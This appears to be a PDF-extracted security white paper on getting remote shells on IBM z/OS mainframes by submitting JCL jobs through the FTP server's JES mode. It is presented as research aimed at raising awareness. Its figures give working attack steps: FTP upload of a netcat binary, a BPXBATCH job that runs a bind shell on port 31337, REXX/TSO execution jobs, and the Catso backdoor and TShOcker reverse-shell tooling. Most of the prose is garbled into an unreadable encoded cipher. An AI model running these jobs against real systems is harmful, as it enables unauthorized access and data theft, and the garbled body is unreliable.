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Overview  
!"#$%&'($)*+,-.*)/0$*./$12/$)*+,$ 34.524.0/0$4-$46.$7849*8$/:4,4);<$!1=0$*>>*./,1$14$*,;4,/$
+,$*,;$4-$12/$9/843$+,?601.+/0$12*1$)*+,-.*)/0@$0>/:+-+:*88;$!"#$%&'($9*0/?$)*+,-.*)/0@$*./,=1$
>4+0/?$14$/A+1$12/$)*.5/1$*,;$1+)/$044,<$!,$-*:1@$4-$B4.16,/$CDDD0@$*9461$EDF$*./$.6,,+,7$*,$
!"#$)*+,-.*)/ C<$!1$2*0$*$>*.1+:68*.8;$01.4,7$-441248?$+,$12/$*./*0$4-$9*,5+,7@$-+,*,:/@$2/*812$
:*./@$+,06.*,:/@$61+8+1+/0$*,?$74G/.,)/,1H<$ 
 
I::4.?+,7$14$!"#@$12/$%&'($>8*1-4.)$+0$*$01*98/@$./8+*98/$*,?$0/:6./$>8*1-4.)<$J43/G/.$K601$8+5/$
*,;$>8*1-4.) @$12.4672$8*:5$4-$01.4,7$0/:6.+1;$:4,1.480@$8*:5$4-$6,?/.01*,?+,7$4-$12/$6,?/.8;+,7$
4>/.*1+,7$0;01/)$*,?$4613*.?$12./*10@$12/$0;01/)$:*,$9/$:4)>.4)+0/?<$ 
 
J+014.+:*88;$12/$0/:6.+1;$:4))6,+1;$2*0$?4,/$*$>44.$K49$4-$/G*86*1+,7$*,?$>602+,7$12/$8+)+10$4-$
%&'($0/:6.+1;<$"/$+1$12/$L-4./+7,=$*.:2+1/:16./@$12/$461?*1/?$12+,5+,7$12*1$12/0/$>8*1-4.)0$*./$,4$
84,7/.$+1$60/$4.@$)401$8+5/8;@$12/$8*:5$4-$*::/00$14$12/$4>/.*1+,7$0;01/)@$%&'($2*0$9//,$*98/$14$
9*0+:*88;$-8;$6,?/.$12/$.*?*.$4-$0/:6.+1;$>.4-/00+4,*80<$ 
 
M2/$*+)$4-$12+0$>*>/.$+0$14$?/);01+-;$%&'($*,?$?/)4,01.*1/$12*1$12.4672$12/$60/$4-$*$0+)>8/$N49$
O4,1.48$P*,76*7/$QNOPR$0:.+>1@$*,?$4,8;$*,$BMS$*::46,1$*$60/.$:*,$/A/:61/$:4?/$4,$12/$
)*+,-.*)/<$  
 

 

 

	    

	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  
1 Information Week 
2 http://mainframes.wikidot.com/ 
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JCL and JES  
"/-4./$!$1*85$*9461$NOP$!$,//?$14$)/,1+4,$NT(@$4.$N49$T,1.;$(690;01/)<$I8)401$/G/.;12+,7$?4,/$
4,$12/$)*+,-.*)/$+0$12.4672$12/$60/$4-$K490<$I$K49$+0$./*88;$K601$34.5$14$9/$?4,/$9;$12/$
)*+,-.*)/<$B4.$/A*)>8/@$+-$!$,//?$14$:4>;$*$-+8/$!$)+721$60/$NOP$14$>/.-4.)$12*1$1*05<$U2/,$*$K49$
+0$069)+11/?$+1$+0$)*,*7/?$9;$NT(<$NT($2*,?8/0$*::/>1+,7$12/$K49@$>611+,7$+1$+,$12/$V6/6/$-4.$%&'($
14$>.4:/00$*,?$)*,*7+,7$12/$461>61<$M4$>/.-4.)$*88$12+0$;46$60/$-+8/0$3.+11/,$+,$NOP<$M2/0/$-+8/0$
2*G/$G/.;$0>/:+-+:$0;,1*A$Q4618+,/?$9/843R$*,?$*./$:4)>40/?$4-W 

● *$K49:*.?@ 
● 01/>0@ 
● >.47.*)0@ 
● >*.*)/1/.0@ 
● *,?$?*1*0/10 

 
B4.$/A*)>8/@$12/$NOP$14$:4>;$*$-+8/$84450$8+5/$04W 
Figure 1 COPYFILE.JCL  

01 
02 
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// COPYFILE JOB (INFO),'Copy a file',CLASS=A,MSGCLASS=0,  
//             MSGLEVEL=(1,1),NOTIFY=&USERID  
//CPTHATS EXEC PGM=IEBGENER 
//SYSPRINT DD SYSOUT=*  
//SYSIN    DD DUMMY  
//SYSUT1   DD DSN="FROM.FILENAME",DISP=SHR  
//SYSUT2   DD DSN="TO.FILENAME",  
//     LIKE="FROM.FILENAME",  
//     DISP=(NEW,CATLG,DELETE),  
//     UNIT=SYSDA  

 
U2/./W 

● P+,/$C$+0$12/$K49:*.?@$*804$5,43,$*0$12/$K49$01*1/)/,1<$!,$12+0$:*0/$3/=./$.6,,+,7$
K49$O'SXB!PT$3+12$0/1$OPI((/0@$#(YOPI((/0$*,?$#(YPTZTP$*,?$3/$,41+-;$46.$
60/.+?$12/$./06810$4-$12/$K49$Q32/12/.$+1$:4)>8/1/0$06::/00-688;$4.$?4/0$,41R[ <$X46$
:*,$0//$12*1$8+,/$C$/A1/,?0$14$8+,/$H$9/:*60/$12/0/$-+8/0$*./$8+)+1/?$14$\D$:486),0$
4-$1/A1< 

● P+,/$[$+0$12/$-+.01$L01/>=$+,$46.$K49<$M2+0$8+,/$/A/:61/0$QT]TOR$12/$>.47.*)$QSY#R$
L!T"YT^T_=<$$M2/$>6.>40/$4-$12+0$>.47.*)$+0$14$:4>;$4,/$-+8/$14$*,412/.` < 

	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  
3 http://www.simotime.com/jclone01.htm 
4 

http://publib.boulder.ibm.com/infocenter/zos/basics/index.jsp?topic=/com.ibm.zos.zdatamgmt/zsysprogc_u
tilities_IEBGENER.htm 
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● P+,/$`$0>/:+-+/0$32/./$12/$461>61$4-$12/$:4))*,?0$02468?$74<$(+,:/$3/$>61$*$
01*.$QaR$2/./$12/$#(YOPI(($>*.*)/1/.$+0$60/?<$ 

● P+,/$b$+0$12/$L+,=$-+8/<$!,$12+0$:*0/$3/$60/$Lcd##X=$32+:2$+0$*,$/)>1;$-*5/$-+8/<$ 
● P+,/$e$+0$12/$-+8/$3/$3*,1$14$:4>; 
● P+,/$f$12.4672$CD$+0$12/$-+8/$3/$3*,1$14$:./*1/$+,$32+:2$3/$1/88$%&'($14$)*5/$+1$*$

,/3$-+8/$12/$0*)/$*0$12/$48?$-+8/$QP!gThR<$ 
 

X46=88$,41+:/$243$*.:*,/$*,?$:2*88/,7+,7$12+0$+0$:4)>*./?$14$L:>$-+8/C$-+8/H=<$M2/$./*04,$9/+,7$+0$
12*1$!T"YT^T_$3*0$:./*1/?$*84,7$3+12$'(&[eDb$+,$12/$eD=0<$ 
 
%&'($:4)/0$3+12$*$)681+16?/$4-$>.47.*)0$;46$:*,$.6,$60+,7$NOP<$X46$:*,$/G/,$3.+1/$;46.$43,$+,$
O@$O'"'P@$B'_M_I^$/1:$*,?$0>/:+-;$12/)$*0$12/$LSY#=$14$/A/:61/<$$M2/$134$>.47.*)0$3/=88$9/$
/A*)+,+,7$*,?$60+,7$-4.$46.$*11*:5$*./$"S]"IMOJe$*,?$!gNTBMDCf < 
 

● "S]"IMOJ$*88430$;46$14$/A/:61/$d^!]$:4))*,?0$*,?$:4?/$12.4672$NOP<$ 
Figure 2 Execute UNIX commands  
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//COPYFILE JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,  
//             MSGLEVEL=(1,1),NOTIFY=&USERID  
//NETCAT    EXEC PGM=BPXBATCH  
//STDIN    DD SYSOUT=*  
//STDOUT   DD SYSOUT=*  
//STDPARM  DD *  
SH pwd;  
id;  
./nc Ðl Ðp 31337 Ðe /bin/sh  
/*  

 
● !gNTBMDC$*88430$;46$14$/A/:61/$M('$:4))*,?0$12.4672$NOP 
Figure 3 Execute TSO command s -  this will execute the file  SOME.EXEC(TEST4) in TSO  

01 
02 
03 
04 

//EXECREXX JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,  
//             MSGLEVEL=(1,1),NOTIFY=&USERID  
//EVILPGM  EXEC PGM=IKJEFT01,PARM='TEST4'  
//SYSEXEC  DD   DSN= SOME.EXEC,DISP=SHR  

 
$
$

	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  
5 IBM os/360 was really the first IBM Mainframe multipurpose OS, released in 1966 
6 

http://publib.boulder.ibm.com/infocenter/zos/v1r12/index.jsp?topic=%2Fcom.ibm.zos.r12.bpxa400%2Fxba
t.htm 
7 http://publibz.boulder.ibm.com/cgi-
bin/bookmgr_OS390/BOOKS/IKJ4B460/APPENDIX1.1?DT=20050714030239 
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',/$ 412/.$:4,:/>1$./7*.?+,7$NOP@$+0$12/$60/$4-$1/)>4.*.;$?*1*0/10<$!,$12/$-+.01$/A*)>8/$;46$0*3$
60$:4>;$4,/$-+8/$14$12/$,/A1<$!,01/*?@$+-$3/$3*,1/?$14$?4$04)/12+,7$3+12$12*1$-+8/$*,?$0*G/$+1$461@$
3/$:468?=G/$:4>+/?$+1$14$*$1/)>4.*.;$-+8/$60+,7$12/$,4)/,:8*16./W$ii<$iiMT#S@$ii"PIOg$4.$
iiJIM$3468?$*88$34.5<$',/$5/;$*0>/:1$4-$1/)>4.*.;$-+8/0$+0$12*1$32/,$12/;$*./$,4$84,7/.$+,$60/$
Q*-1/.$12/$NOP$2*0$-+,+02/?$/A/:61+,7R$12/$-+8/$+0$?/8/1/?<$ 
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FTP Server  
%&'($2*0@$-4.$)*,;$./G+0+4,0$,43@$:4)/$3+12$*,$BMS$0/.G/.$*0$>*.1$4-$12/+.$:4))6,+:*1+4,$
0/.G+:/0<$!-$;46=./$60/$14$12/$01*,?*.?$BMS$?*/)4,$12*1$:4)/0$3+12$P+,6A$12/,$;46=./$*8./*?;$
-*+.8;$-*)+8+*.$3+12$+1<$Y/,/.*88;$12/$BMS$?*/)4,$+0$01*.1/?$*0$>*.1$4-$12/$MOS&!S$>.4:/00/0$?6.+,7$
9441$961$:468?$*804$9/$01*.1/?$+,$d^!]$9;$.6,,+,7$&60.&09+,&-1>?\ <$M;>+:*88;$12/$0/11+,70$-+8/$14$9/$
60/?$3+88$9/$0>/:+-+/?$+,$12/$8*6,:2$NOP<$!-$+1=0$,41@$%&'($3+88$0/*.:2$-4.$+1$+,$0>/:+-+:$84:*1+4,0E< 
 
(+)+8*.$14$12/$d^!]$9*0/?$BMS$?*/)4,0@$12/$%&'($BMS$?*/)4,$>.4G+?/0$60/.0$3+12$*::/00$14$
12/+.$-+8/0$014./?$4,$12/$)*+,-.*)/<$ 
 
Figure 4 Browsing a PDS  

 
M34$-/*16./0@$243/G/.@$12*1$*./$,4,j01*,?*.?$-/*16./0$4-$BMS$2*G/$9//,$*??/?$14$12/$%&'($BMS$
?*/)4,W$NT($*,?$(kP< 
 
Figure 5 Output of Ôquote help siteÕ  

 
 

	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  
8 

http://publib.boulder.ibm.com/infocenter/zos/basics/index.jsp?topic=/com.ibm.zos.znetwork/znetwork_110
.htm 
9 

http://publib.boulder.ibm.com/infocenter/zos/v1r12/index.jsp?topic=%2Fcom.ibm.zos.r12.halz001%2Fftctc
p.htm 
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Command:	  SITE	  FILE=SQL	  
M2+0$:4,G/.10$12/$BMS$-+8/$0/.G/.$+,$14$*$(kP$:4))*,?$1448@$*8843+,7$;46$14$>*00$(kP$V6/.+/0$14$
c"H$G+*$*$-+8/$6>84*?<$(4$84,7$*0$12/$60/.$*::46,1$2*0$*::/00$14$c"H$;46$:*,$069)+1$V6/.+/0<$M2+0$
L-/*16./=$9*0+:*88;$*88430$-4.$(kP$+,K/:1+4,$+,$14$c"H$60+,7$BMS<$ 
 

Command:	  SITE	  FILE=JES	  
(+)+8*.8;$12+0$:4))*,?$:4,G/.10$12/$BMS$0/.G/.$-.4)$6>84*?+,7&?43,84*?+,7$-+8/0$14$6>84*?+,7$
K490$14$12/$K49$>448<$',:/$;46=./$:4,,/:1/?$14$12/$BMS$0/.G/.$*,?$06>>8;$12+0$:4))*,?$*,;$-+8/$
;46$6>84*?$12/./*-1/.$3+88$9/$/A/:61/?$9;$NT($04$84,7$*0$+10$+,$12/$:4../:1$NOP$-4.)*1<$B4.$
/A*)>8/@$+-$3/$1*5/$12/$NOP$/A*)>8/W 
 

Figure 6 Execute TSO commands  

01 
02 
03 
04 

//EXECREXX JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,  
//             MSGLEVEL=(1,1),NOTIFY=&USERID  
//EVILPGM  EXEC  PGM=IKJEFT01,PARM='TEST4'  
//SYSEXEC  DD   DSN=SOME.FILE,DISP=SHR  

 
*,?$0*G/$+1$14$12/$-+8/$6>84*?<K:8@$:4,,/:1$14$12/$BMS$0/.G/.$*,?$:4,G/.1$+1$14$NT($)4?/<$U/$:*,$
12/,$LSdM$6>84*?<K:8=$*,?$+1$3+88$7/1$/A/:61/?$9;$NT(@$:*..;+,7$461$12/$:4))*,?0 < 
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Netcat  
^/1:*1$-4.$'#Z($Q412/.3+0/$5,43,$*0$d^!]@$*$:4./$:4)>4,/,1$4-$%&'(R$2*0$9//,$*.46,?$-4.$*$
;/*.$,43@$*G*+8*98/$*1$7+1269W 
 

$211>0W&&7+1269<:4)&)*+,-.*)/?&^OCCDj'#Z( $ 
 
$M2+0$+0$12/$48?/.$G/.0+4,$4-$^/1:*1@$5,43,$*0$G/.0+4,$C<CD@$3+12$04)/$)+,4.$:2*,7/0$14$*8843$
:4)>+8*1+4,$3+12$12/$,*1+G/$O$:4)>+8/.$+,$%&'(<$!,:86?/?$*./ $04)/$:2*,7/0$14$12/$)*5/$4>1+4,$
14$+,:86?/$12/$l /$-8*7@$*8843+,7$-4.$/A/:61+4,$4-$:4))*,?0<$M4$:4)>+8/$^/1:*1$+,$'#Z($0+)>8;$
6>84*?$12/$-+8/0$Q60+,7$/+12/.$BMS$4.$0:>R$*,?$:4)>+8/$3+12$Lmake omvsÕ<$ 
 

Figure 7 compile netcat for omvs  

 
 
',:/$:4)>+8/?$;46$:*,$/A/:61/$3+12$./nc<$ 
 
',/$4-$12/$5/;$+006/0@$243/G/.@$+0$12*1$/G/.;12+,7$4,$12/$)*+,-.*)/$+0$+,$T"Oc!O<$M2/$BMS$
?*/)4,$7/10$*.46,? $12+0$9;$1.*,08*1+,7$-+8/0$14$I(O!!$*,?$G+:/$G/.0*<$U+12$12*1$+,$)+,?$*$>;124,$
0:.+>1$3*0$3.+11/,$14$>/.-4.)$*0$*$:4,,/:14.$-4.$^/1:*1$4,$'#Z($:*88/?$^/1T"Oc!O*1<>;$Q-46,?$
+,$12/$-48?/.$S;124,$(:.+>10$+,$^OCCDj'#Z( R<$d0+,7$9412$^/1:*1$*,?$^/1T"Oc!O*1<>;$*$60/.$:*,$
,43$0/16>$*$8+01/,/.$4.$./)41/$02/88$+,$'#Z($*,?$+,1/.*:1$3+12$+1<$ 
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Putting it  al l  together  
(4$-*.$3/=G/$/01*98+02/?$12/$-48843+,7W 

● NOP$+0$*$-+8/$:4,1*+,+,7$+,01.6:1+4,0$-4.$12/$4>/.*1+,7$0;01/)$14$/A/:61/$:4))*,?0@$/1:@$
0+)+8*.$14$*$9*02$0:.+>1$-+8/< 

● M2/$%&'($BMS$0/.G/.$*88430$;46$14$*::/00$*??+1+4,*8$-/*16./0$32+:2$*88430$60/.0$12/$
*9+8+1;$14$/A/:61/@$4.$069)+1@$NOP$-+8/0< 

● "S]"IMOJ@$*$>.47.*)$:*88/?$12.4672$NOP@$*88430$-4.$12/$/A/:61+4,$4-$d^!]$>.47.*)0< 
● ^/1:*1$:*,$9/$:4)>+8/?$3+12+,$12/$'#Z($/,G+.4,)/,1$14$*8843$-4.$./)41/$4.$./G/.0/$

02/880$Qj/$&9+,&02R< 
 
P/1=0$1*5/$12/0/$+1/)0$*,?$>61$12/)$*88$147/12/.W 
 
(1/>$CR$O4)>+8/$'#Z($^/1:*1$*,?$6>84*?$14$;46.$1*.7/1$)*:2+,/W 

ftp> pwd  
257 ÒÕBLKHT.ÕÓ Is working directory.  
ftp> binary  
200 Representation t ype is Image  
ftp> put nc  
200 Port request OKÉÉ  

(1/>$HR$O./*1/$*$NOP$-+8/$14$/A/:61/$12/$6>84*?/?$^/1:*1$9+,*.; 
Figure 8 RUNNC.JCL  

01 
02 
03 
04 
05 
06 
07 
08 
09 
10 
11 

//EXECNC   JOB (INFO),'Execute NCÕ,CLASS=A,MSGCLASS=0,  
//             MSGLEVEL=(0,0)  
//NCLOL    EXEC PGM=BPXBATCH  
//STDIN    DD SYSOUT=*  
//STDOUT   DD SYSOUT=*  
//STDPARM  DD *  
SH cp - B Ò//ÕBLKHT.NCÕÓ /tmp/nc;  
chmod +x /tmp/nc;  
nohup /tmp/nc - l - p 31337 - e /bin/sh;  
rm /tmp/nc  
/*  

$
(1/>$[R$d>84*?$12/$-+8/$14$12/$NT($V6/6/ 

ftp> site file= jes  
200 SITE command was accepted  
ftp> put RUNNC.JCL  
250 - It is known to JES as JOB JOB12345  
250 Transfer completed successfully  

$
$



	  

 

 
 
 

11|Page 

$
(1/>$`R$O4,,/:1$14$12/$^/1:*1$8+01/,/.$3+12$^/1T"Oc!O*1<>; 

Figure 9 NetEBCDICat.py  
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MainTP  
c4+,7$*88$12/0/$01/>0$+,?+G+?6*88;$+0@$-.*,58;@$1+)/$:4,06)+,7$*,?$/..4.$>.4,/<$I??+1+4,*88;$14$7/1$
*$:4>;$4-$12/$'#Z($^/1:*1$9+,*.;$;46$)601$*8./*?;$2*G/$*::/00$14$*$)*+,-.*)/$14$:4)>+8/$+1$+,$
12/$-+.01$>8*:/<$ 
 
I 88$4-$12+0$:*,$,43$9/$*614)*1/?$3+12$#*+,MSCD<$#*+,MS$+0$*$>;124,$0:.+>1@$:4,1*+,+,7$3+12+,$+1$
Q"*0/e`$/,:4?/?R$*$>./:4)>+8/?$'#Z($^/1:*1$9+,*.;<$!1$1*5/0@$*0$+10$*.76)/,10@$12/$!S$*??./00$
4.$2401,*)/$4-$12/$)*+,-.*)/@$*$60/.,*)/$*,?$>*0034.?<$!1$12/,$6>84*?0$^/1:*1@$069)+10$12/$
NOP@$?/8/1/0$*,;$-+8/0$*,?$:4,,/:10$3+12$^/1T"Oc!O*1=0$:4?/<$!1$+,:86?/0$*$G/.940/$)4?/$14$*8843$
;46$14$0//$/A*:18;$32*1$+1=0$?4+,7$/G/.;$01/>$4-$12/$3*;$Q./-/.$14$*>>/,?+A$I$-4.$12/$G/.940/$
461>61R 
 

Figure 10 MainTP: Automating FTP - >Shell with Netcat and JCL  

 
 
 
  

	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  
10 Inspiration for the name MainTP from Chief Ascot 
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Introduc ing Catso and TShOcker  
Y/11+,7$^/1:*1$14$/A/:61/@$12.4672$BMS@$+0$*88$3/88$*,?$744?<$J43/G/.$%&'($+0$)*?/$6>$4-$)*,;$
)4./$:4)>4,/,10$12*,$0+)>8;$d^!]$*,?$7*+,+,7$02/88$*::/00$14$12/$d^!]$/,G+.4,)/,1$+0$,41$
,/*.8;$*0$+)>./00+G/$+,$%&'($*0$+1$+0$+,$12/$P+,6A$34.8?<$M2/$*94G/$*>>.4*:2$+0$*804$8*:5+,7$?6/$14$
12/$-*:1$12*1W 

● !1$./V6+./0$6>84*?+,7$*,?$?/8/1+,7$4-$-+8/0$*,?$+0$4G/.*88$,41$G/.;$60/.$-.+/,?8;<$ 
● M2/$,/1:*1$:4,,/:1+4,$:*,$4,8;$0>/*5$+,$T"Oc!O@$32+:2$,4,/$4-$12/$)4?/.,$>8*1-4.)0$

Q-4.$/A*)>8/$#/1*0>84+1R$06>>4.1< 
● ^41$*88$60/.0$*./$7.*,1/?$*::/00$14$'#Z(<$Y/,/.*88;$4,8;$60/.0$324$,//?$*::/00$14$d^!]$

*./$>.4G+0+4,/?$12+0$*::/00$G0<$*8)401$/G/.;4,/$2*G+,7$*::/00$14$M('$Q12/$%&'($
/V6+G*8/,1$4-$2*G+,7$02/88$*::/00R<$$ 

 
!<T<$!1=0$*$,/*1$1.+:5$961$,41$*83*;0$>.*:1+:*8<$ 
 
'61$4-$12/0/$?+--+:681+/0$3*0$94.,$Catso$Q0//$*>>/,?+A$"$-4.$*$:4>;$4-$O*104R<$O*104$+0$*$_T]]CC$

0:.+>1$?/0+7,/?$14$9/$0+)+8*.$+,$,*16./$14$)/1/.>./1/.<$!1$2*0$134$)4?/0@$8+01/,/.$QPR$*,?$./G/.0/$
Q_R$*,?$7+G/0$*::/00$14$G*.+460$%&'($:4))*,?0<$$M4$/A/:61/$*$./AA$>.47.*)@$6>84*?$+1$14$*$-+8/@$
*,?$-.4)$3+12+,$M('$;46$.6,$+1$3+12$12/$L/A/:=$:4))*,?W$exec	  ‘BLKHT.CATSO’	  ‘L	  31337’$*,?$
12/,$:4,,/:1$14$+1$3+12$^/1:*1$+,$U+,?430$4.$P+,6AW$nc	  mainframe.ip	  31337 
 
Figure 11 Catso help output  

Enter command or 'h elp'> help  
 
       Core Commands  
       =============  
         Command           Description  
         -------            -----------  
         help              Help Menu  
         exit              Terminate the session  
         quit              Terminate t he session  
 
       Filesystem Commands  
       ===================  
         Command           Description  
         -------            -----------  
         cat               Show contents of dataset  
         cp                copies a file to a new file  

	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  
11 REXX is a scripting language that comes with z/OS. ItÕs similar in capacity and function to Python or 
Ruby.  
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         ls                list datasets in HLQ  
         delete            deletes a file  
         del               also deletes a file  
         lsmem             Lists files and members  
                           !!WARNING!! Takes time and IO  
 
       Networking Commands  
       ===================  
         Command           Description  
         -------            -----------  
         ipconfig          Display interfaces  
         ifconfig          Display interfaces  
 
       System Commands  
       ===============  
         Command           Description  
         -------            -----------  
         getuid            Get current user name  
         sysinfo           Remote system info (i.e OS)  
         racf              Show password database location  
         execute           Execute a TSO command  
         tso               Execute TSO command (same as execute)  
         unix              UNIX command (i.e ls - al)  
         ftp               Upload a file from the mainframe to  
                           an FTP server. Syntax is:  
                           host/ip user pass filename [binary]  
 

 
I0$;46$:*,$0//@$O*104$2*0$+)>8/)/,1/?$*$841$4-$:4))*,?0$14$)*5/$60+,7$+1$/*0+/.$12*,$2*G+,7$14$
0/*.:2$-4.$)*+,-.*)/$:4))*,?0<$!-$;46$,//?$14$+006/$:4))*,?0$,41$8+01/?$;46$:*,$60/$12/$
Lexecute=$4.$Ltso=$:4))*,?@$32+:2 $3+88$/A/:61/$32+:2/G/.$:4))*,?$;46$/,1/.@$+,$12/$M('$
/,G+.4,)/,1<$!-$;46=./$01+88$-//8+,7$12/$,//?$14$.6,$d^!]$:4))*,?0$K601$60/$12/$:4))*,?$Lunix=$
*,?$32*1/G/.$;46.$1;>/$3+88$9/$/A/:61/?$+,$12/$d^!] $/,G+.4,)/,1<$  
 
O*104$+0$*$01*,?*84,/$_T]]$0:.+>1@$3+12$12/$+,1/,1$12*1$+1$:*,$9/$60/?$4610+?/$4-$12/$BMSjmNOP$
*11*:5<$!1$:*,@$243/G/.@$*804$9/$/A/:61/?$12.4672$NOP$3+12$12/$>.47.*)$!gNTBMDC<$d,-4.16,*1/8;$
+1$3468?$01+88$+,G48G/$12/$-+.01$01/>$4-$6>84*?+,7$12/$_T]]$-+8/$G+*$BMS$9/:*60/$NOP$-+8/0$:*,,41$
/A/:61/$+,8+,/$_T]]<$ 
 
d,8/00$3/$60/$04)/$NOP$1.+:5/.;$14$:4>;$12/$_T]]$0:.+>1$14$*$1/)>4.*.;$-+8/$*,?$/A/:61/$12*1$
-+8/W 
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Figure 12 JCL with REXX file: SHOCKD.JCL  

01 
02 
03 
04 
05 
06 
07 
08 
09 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 

//SHOCKD   JOB (SHOCKD),'SoF',CLASS=A,MSGCLASS=0,MSGLEVEL=(1,1)  
//* The next are lines  JCL to create a temp dataset (&&OMG) with  
//* a member (CATSO). The file then looks like &&OMG(CATSO).  
//* The end of the REXX file is noted as single line with ## on it  
//* The program IEBGENER copies all that data to the temp file  
//CREATOMG  EXEC PGM=IEBGENER 
//SYSPRINT  DD SYSOUT=*  
//SYSIN     DD DUMMY  
//SYSUT2    DD DSN=&&OMG(CATSO),UNIT=SYSDA,  
//             DISP=(NEW,PASS,DELETE),  
//             SPACE=(TRK,(1,1,1)),  
//             DCB=(LRECL=80,BLKSIZE=3120,RECFM=FB,DSORG=PO)  
//SYSUT1    DD DATA,DLM =##  
<<<CATSO REXX FILE>>> 
##  
//* Thats the end of the REXX program. Now lets execute it,  
//* the program IKJEFT01 lets us execute a REXX program  
//* as though we were in TSO (letting us use ADDRESS TSO  
//* as a valid command).  
//EXECREXX EXEC PGM=IKJEFT01,  
//            PARM='% CATSO L 31337',  
//            REGION=0M  
//SYSTSIN  DD  DUMMY  
//SYSTSPRT DD  SYSOUT=*  
//SYSEXEC  DD  DSN=&&OMG,DISP=(OLD,DELETE,DELETE)  

^41/W$8+,/$C`$3468?$*:16*88;$9/$12/$/,1+./$:4,1/,10$4-$O*104$Q*>>/,?+A$"R< 
 
M2/$NOP$-+8/$60/0$!T"YT^T_$14$:4>;$12/$?*1*@$12*1$01*.10$*,?$/,?0$3+12$Lnn=@$14$*$1/)>$-+8/@$
,*)/8;$ii'#YQOIM('R<$',:/$+1=0$:4)>8/1/?$+1$60/0$!gNTBMDC$14$/A/:61/$LOIM('$P$[C[[f=<$!,$
412/.$34.?0$+1$/A/:61/0$O*104$*0$*$8+01/,/.$4,$>4.1$[C[[f<$M2/,$60+,7$12/$)/124?$?/0:.+9/?$
*94G/$Q0+1/$-+8/hK/0R$3/$:*,$6>84*?$*,?$/A/:61/$12+0$4,/$NOP$-+8/$8/*G+,7$,4$-+8/0$14$9/$:8/*,/?$6><$ 
 
I7*+,@$12/$NOP$-+8/$+0$*$8+118/$084>>;@$12/$-8*70@$+>$*??./00/0$*,?$>4.1$;46$3+02$14$>*00$O*104$*./$*1$
12/$G/.;$/,?$4-$12/$-+8/$QeDDo$8+,/0$+,R$*,?$;46=?$2*G/$14$:2*,7/$12/$K49:*.?$-+/8?0$-4.$/*:2$60/<$
M4$0+)>8+-;$*,?$*614)*1/$12/0/$1*050@$TShOcker.py$3*0$3.+11/,<$ 
 
X46$>*00$M(2':5/.$12/$!S$Q4.$2401,*)/R$*,?$60/.,*)/&>*0034.?$14$12/$)*+,-.*)/$*,?$0>/:+-;$
+-$;46$3*,1$*$8+01/,/.$4.$./G/.0/$02/88$9*:5$14$;46W 
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TShOcker	  Listener	  	  
P*6,:2$M(2':5/.$3+12$12/$j8$-8*7$*,?$0>/:+-;$*$>4.1$3+12$jj 8>4.1$Q?/-*6810$14$````$+-$,41$0>/:+-+/?R$
 
Figure 13 Launching TShOcker  

 
$
!,$12/$/A*)>8/$*94G/$O*104$3*0$8*6,:2/?$*0$*$8+01/,/.$4,$>4.1$[C[[f<$$M2/,$60+,7$^/1:*1$4.$
)/1*0>84+1$;46$:*,$:4,,/:1$14$12/$8+01/,/.W$
$
Netcat:	  
Figure 14 Connecting with Netcat  
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Metasploit	  
Figure 15 Connecting with Metasploit 	  

$
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TShOcker Reverse  
O4,G/.0/8;$;46$:*,$/A/:61/$M(2':5/.$14$60/$+1$14$:4,,/:1$9*:5$14$*,$*8./*?;$8+01/,+,7$,:$4.$
)/1*0>84+1<$B+.01$0/16>$;46$8+01/,/.0$+,$#/1*0>84+1$4.$^/1:*1$12/,$;46$8*6,:2$+1$3+12$12/$j.$-8*7$
*,?$0/1$;46.$./G/.0/$2401$Qjj .2401R$*,?$>4.1$Qjj .>4.1R<$$

 
Figure 16 Launching TShOcker in reverse mode  

$

Netcat	  Listener	  

Figure 17 Netcat reverse connection  

	  



	  

 

 
 
 

19|Page 

Metasploit	  Listener	  

Figure 18 Metasploit shell_reverse_tcp  

 

	  

	    



	  

 

 
 
 

20|Page 

Conclusion  
U2+8/$12/$)*+,-.*)/$+0$,4$84,7/.$12/$14>$4-$12/$L:448$1/:2=$-44?$:2*+,$+1$01+88$./>./0/,10$*$
0+7,+-+:*,1$>8*;/.$+,$?*1*$*,?$1.*,0*:1+4,$>.4:/00+,7@$/0>/:+*88;$+,$12/$-+,*,:+*8$0/.G+:/0 @$
2/*812:*./$*,?$1.*G/8$0/:14.0<$U+12461$.49601$0/:6.+1;$1/01+,7$>.47.*)0@$-/*16./0$*,?$9670$)*;$
/A+01$12*1$/A>40/$12/0/$0;01/)0$14$6,?6/$.+050<$M2/$60*7/$4-$NOP$12.4672$BMS$+0$K601$4,/$/A*)>8/$
4-$04)/$4-$12/$?/0+7,$?/:+0+4,0$12*1$/A+01$4,$12/$)*+,-.*)/ $14?*;<$M2.4672$12+0$32+1/$>*>/.$
*,?$1*850$4,$)*+,-.*)/0$*,?$12/+.$0/:6.+1;@$12/$24>/$+0$14$0>*.5$*,$+,1/./01$-.4)$12/$0/:6.+1;$
:4))6,+1;@$3*5+,7$6>$12/$08//>+,7$7+*,1< 
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Appendix A Ð MainTP Verbose Output:  
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Appendix B Ð Catso REXX script  

/*                           REXX                                     */  
